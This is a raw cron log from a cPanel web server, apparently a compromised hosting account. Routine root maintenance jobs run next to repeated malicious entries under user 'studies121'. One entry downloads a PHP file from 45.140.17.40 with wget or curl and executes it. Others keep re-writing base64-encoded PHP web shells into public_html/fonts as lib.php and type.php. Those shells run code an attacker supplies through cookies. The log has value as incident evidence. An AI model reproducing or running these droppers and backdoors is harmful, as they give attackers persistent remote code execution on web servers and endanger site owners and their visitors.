Feb 22 13:04:01 ip-184-168-122-23 CROND[22556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:04:01 ip-184-168-122-23 CROND[22558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:05:01 ip-184-168-122-23 CROND[22884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:05:01 ip-184-168-122-23 CROND[22885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:05:01 ip-184-168-122-23 CROND[22889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:05:01 ip-184-168-122-23 CROND[22890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:05:01 ip-184-168-122-23 CROND[22888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:05:01 ip-184-168-122-23 CROND[22891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 13:05:01 ip-184-168-122-23 CROND[22892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:06:01 ip-184-168-122-23 CROND[23225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:06:01 ip-184-168-122-23 CROND[23228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:06:01 ip-184-168-122-23 CROND[23230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:06:01 ip-184-168-122-23 CROND[23231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:06:01 ip-184-168-122-23 CROND[23232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:07:01 ip-184-168-122-23 CROND[23542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:07:01 ip-184-168-122-23 CROND[23543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:07:01 ip-184-168-122-23 CROND[23544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:07:01 ip-184-168-122-23 CROND[23546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:08:01 ip-184-168-122-23 CROND[23854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:08:01 ip-184-168-122-23 CROND[23856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:08:01 ip-184-168-122-23 CROND[23857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:08:01 ip-184-168-122-23 CROND[23858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:08:01 ip-184-168-122-23 CROND[23859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:09:01 ip-184-168-122-23 CROND[24257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:09:01 ip-184-168-122-23 CROND[24261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:09:01 ip-184-168-122-23 CROND[24262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:09:01 ip-184-168-122-23 CROND[24260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:09:01 ip-184-168-122-23 CROND[24263]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 13:10:01 ip-184-168-122-23 CROND[24589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:10:01 ip-184-168-122-23 CROND[24590]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 13:10:01 ip-184-168-122-23 CROND[24594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:10:01 ip-184-168-122-23 CROND[24596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:10:01 ip-184-168-122-23 CROND[24597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:10:01 ip-184-168-122-23 CROND[24595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:10:01 ip-184-168-122-23 CROND[24600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:10:01 ip-184-168-122-23 CROND[24598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:11:01 ip-184-168-122-23 CROND[24929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:11:01 ip-184-168-122-23 CROND[24931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:11:01 ip-184-168-122-23 CROND[24930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:11:01 ip-184-168-122-23 CROND[24932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:12:01 ip-184-168-122-23 CROND[25253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:12:01 ip-184-168-122-23 CROND[25255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:12:01 ip-184-168-122-23 CROND[25256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:12:01 ip-184-168-122-23 CROND[25258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:12:01 ip-184-168-122-23 CROND[25257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:13:01 ip-184-168-122-23 CROND[25581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:13:01 ip-184-168-122-23 CROND[25583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:13:01 ip-184-168-122-23 CROND[25584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:13:01 ip-184-168-122-23 CROND[25585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:14:01 ip-184-168-122-23 CROND[25897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:14:01 ip-184-168-122-23 CROND[25898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:14:01 ip-184-168-122-23 CROND[25900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:14:01 ip-184-168-122-23 CROND[25899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:14:01 ip-184-168-122-23 CROND[25901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:15:01 ip-184-168-122-23 CROND[26337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:15:01 ip-184-168-122-23 CROND[26339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:15:01 ip-184-168-122-23 CROND[26340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:15:01 ip-184-168-122-23 CROND[26343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:15:01 ip-184-168-122-23 CROND[26344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:15:01 ip-184-168-122-23 CROND[26345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:16:01 ip-184-168-122-23 CROND[26684]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 13:16:01 ip-184-168-122-23 CROND[26686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:16:01 ip-184-168-122-23 CROND[26687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:16:01 ip-184-168-122-23 CROND[26688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:16:01 ip-184-168-122-23 CROND[26691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
